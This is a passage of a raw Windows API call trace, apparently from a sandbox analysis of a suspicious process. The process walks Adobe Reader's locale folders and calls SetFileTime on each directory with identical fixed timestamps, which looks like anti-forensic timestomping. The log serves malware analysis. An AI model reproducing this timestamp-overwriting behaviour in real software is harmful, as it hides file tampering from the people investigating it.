lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.666] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.666] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.667] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.671] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.671] CloseHandle (hObject=0x98) returned 1 [0070.672] lstrcmpA (lpString1=".", lpString2="it_IT") returned -1 [0070.672] lstrcmpA (lpString1="..", lpString2="it_IT") returned -1 [0070.672] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.677] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.677] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.677] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.679] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.679] CloseHandle (hObject=0x94) returned 1 [0070.682] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.682] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.682] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.683] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.683] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.683] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.687] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.687] CloseHandle (hObject=0x98) returned 1 [0070.688] lstrcmpA (lpString1=".", lpString2="ja_JP") returned -1 [0070.688] lstrcmpA (lpString1="..", lpString2="ja_JP") returned -1 [0070.688] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.692] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.692] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.692] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.694] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.694] CloseHandle (hObject=0x94) returned 1 [0070.697] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.697] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.697] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.697] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.697] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.697] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.702] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.702] CloseHandle (hObject=0x98) returned 1 [0070.704] lstrcmpA (lpString1=".", lpString2="ko_KR") returned -1 [0070.704] lstrcmpA (lpString1="..", lpString2="ko_KR") returned -1 [0070.704] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.708] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.708] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.708] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.710] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.710] CloseHandle (hObject=0x94) returned 1 [0070.712] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.712] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.712] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.714] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.714] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.714] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.718] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.718] CloseHandle (hObject=0x98) returned 1 [0070.719] lstrcmpA (lpString1=".", lpString2="nb_NO") returned -1 [0070.719] lstrcmpA (lpString1="..", lpString2="nb_NO") returned -1 [0070.719] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.722] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.722] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.722] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.724] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.724] CloseHandle (hObject=0x94) returned 1 [0070.726] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.727] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.727] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.727] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.727] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.727] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.732] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.732] CloseHandle (hObject=0x98) returned 1 [0070.733] lstrcmpA (lpString1=".", lpString2="nl_NL") returned -1 [0070.733] lstrcmpA (lpString1="..", lpString2="nl_NL") returned -1 [0070.733] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.737] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.737] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.737] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.739] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.740] CloseHandle (hObject=0x94) returned 1 [0070.741] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.742] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.742] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.746] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.746] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.746] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.755] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.755] CloseHandle (hObject=0x98) returned 1 [0070.756] lstrcmpA (lpString1=".", lpString2="pl_PL") returned -1 [0070.756] lstrcmpA (lpString1="..", lpString2="pl_PL") returned -1 [0070.756] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.760] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.760] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.760] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.762] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.762] CloseHandle (hObject=0x94) returned 1 [0070.764] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.764] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.764] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.764] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.765] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.765] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.770] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.770] CloseHandle (hObject=0x98) returned 1 [0070.770] lstrcmpA (lpString1=".", lpString2="pt_BR") returned -1 [0070.771] lstrcmpA (lpString1="..", lpString2="pt_BR") returned -1 [0070.771] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.774] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.774] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.774] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.777] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.777] CloseHandle (hObject=0x94) returned 1 [0070.779] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.779] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.779] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.780] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.781] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.781] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.785] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.786] CloseHandle (hObject=0x98) returned 1 [0070.786] lstrcmpA (lpString1=".", lpString2="ro_RO") returned -1 [0070.786] lstrcmpA (lpString1="..", lpString2="ro_RO") returned -1 [0070.787] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.789] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.789] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.789] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.792] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.792] CloseHandle (hObject=0x94) returned 1 [0070.793] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.793] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.794] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.794] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.794] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.794] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.803] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.803] CloseHandle (hObject=0x98) returned 1 [0070.804] lstrcmpA (lpString1=".", lpString2="ru_RU") returned -1 [0070.804] lstrcmpA (lpString1="..", lpString2="ru_RU") returned -1 [0070.804] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.815] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.816] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.816] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.818] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.819] CloseHandle (hObject=0x94) returned 1 [0070.821] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.821] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.821] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.823] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.823] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.823] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.828] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.829] CloseHandle (hObject=0x98) returned 1 [0070.830] lstrcmpA (lpString1=".", lpString2="sk_SK") returned -1 [0070.830] lstrcmpA (lpString1="..", lpString2="sk_SK") returned -1 [0070.830] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.833] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.833] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.833] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.835] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.836] CloseHandle (hObject=0x94) returned 1 [0070.840] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.840] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.840] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.841] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.841] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.841] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.847] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.847] CloseHandle (hObject=0x98) returned 1 [0070.848] lstrcmpA (lpString1=".", lpString2="sl_SI") returned -1 [0070.848] lstrcmpA (lpString1="..", lpString2="sl_SI") returned -1 [0070.848] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.853] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.853] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.853] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.855] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.855] CloseHandle (hObject=0x94) returned 1 [0070.858] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.858] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.858] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.860] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.860] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.860] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.866] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.866] CloseHandle (hObject=0x98) returned 1 [0070.867] lstrcmpA (lpString1=".", lpString2="sv_SE") returned -1 [0070.867] lstrcmpA (lpString1="..", lpString2="sv_SE") returned -1 [0070.867] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.871] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.871] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.871] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.873] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.873] CloseHandle (hObject=0x94) returned 1 [0070.877] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.877] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.878] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*.*", 